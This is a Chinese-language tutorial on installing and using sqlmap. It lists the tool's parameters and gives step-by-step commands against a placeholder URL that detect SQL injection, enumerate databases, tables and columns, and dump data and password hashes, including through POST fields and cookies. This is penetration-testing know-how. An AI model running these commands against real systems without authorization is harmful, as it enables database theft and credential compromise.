SQLMAP的安装和使用

SQLMAP的安装

SQLMAP的官方网站:https://sqlmap.org/

下载解压缩之后进入sqlmap的文件夹,在此文件夹中打开控制台( 可以在上方地址栏输入cmd回车快速打开 )

输入命令python sqlmap.pypython sqlmap.py -h检验是否成功

sqlmap使用

SQLMAP是一种开源渗透测试工具,可自动执行SQL注入缺陷的检测和注入过程,并接管数据库服务器。它有强大的检测引擎,针对不同类 型的数据库提供多样的渗透测试功能选项,实现数据库识别、数据获取、访问DBMS\操作系统甚至通过带外数据连接的方式执行操作系统的命令,以及从数据库指纹识别、从数据库获取数据、 通过带外连接在操作系统上执行命令。

支持的注入方式

分别是:联合查询、报错注入、堆叠注入、布尔盲注、时间盲注

使用条件

  1. 知道网站的绝对路径

  2. 高权限数据库用户

  3. secure_file_priv=''无限制

ctrl+C停止现在的探测

sqlmap基本参数

-d 指定直接数据库连接得连接字符串,直接连接到数据库。 -u 指定URL目标 -I 从Burp或WebScarab代理得日志中解析目标 -m 扫描文本文件中给出得多个目标,批量扫描 -r 从文本中加载HTTP请求。 用 * 标记注入位置 -g 将Google Dork得结果作为目标URLh -b -- 获取数据库版本信息 -f -- 获取数据库指纹 -a 获取所有信息 -current-user 获取DBMS当前用户 --current-db 获取DBMS当前数据库 --hostname 获取DBMS当前主机名 --is-dba 检测当前用户是否为管理员用户 --users 查询DBMS用户 --passwords 查询DBMS用户密码hash --dbs 查询DBMS数据库 --tables 查询DBMS数据库中得表 --columns 查询DBMS数据库表得列名 --dump 查询转储DBMS数据库表 --dump-all 转储DBMS所有数据库表 -D db_name 指定要求枚举的DBMS数据库名 -T table_name 指定要枚举得DBMS表 -C column_name 指定要枚举得DBMS列 --batch 从不询问用户输入,使用所有默认配置 --tamper -- 指定脚本 --dbms -- 指定数据库类型 --os -- 指定操作系统(windows/linux) --level -- 指定探测等级(1~5) --delay -- 设置延时 --technique -- 指定注入方式 --hostname 获取服务器主机名。 ​ --search 搜索数据库中是否存在指定库/表/字段,需要指定库名/表名/字段名

如果有pytnon 2和3,命令写python3 sqlmap.py

判断是否存在注入

python sqlmap.py -u "URL/?id=1"

判断当前用户是否为dba

python sqlmap.py -u "URL/?id=1" --is-dba

查看数据库用户

python sqlmap.py -u "URL/?id=1" --current-user

查看所有数据库

python sqlmap.py -u "URL/?id=1" --dbs

查看当前数据库名称

python sqlmap.py -u "URL/?id=1" --current-db

查询当前数据库的表

python sqlmap.py -u "URL/?id=1" -D 数据库名 --tables

查询表中的字段名

python sqlmap.py -u "URL/?id=1" -D 数据库名 -T 表名 --columns

查询字段下的数据

python sqlmap.py -u "URL/?id=1" -D 数据库名 -T 表名 --dump

针对不同的注入位置

GET请求注入

sqlmap -u "URL/?id=1"

POST请求注入

python sqlmap.py -u "URL/?id=1"

--data="uname=admin&passwd=admin&submit=Submit" --dbs

--data "uname=test&passwd=test&submit=Submit" -p "uname,passwd" --dbs --users --batch

COOKIE注入

sqlmap -u xxx/index.php --cookie "uname=admin" --level 2 --dbs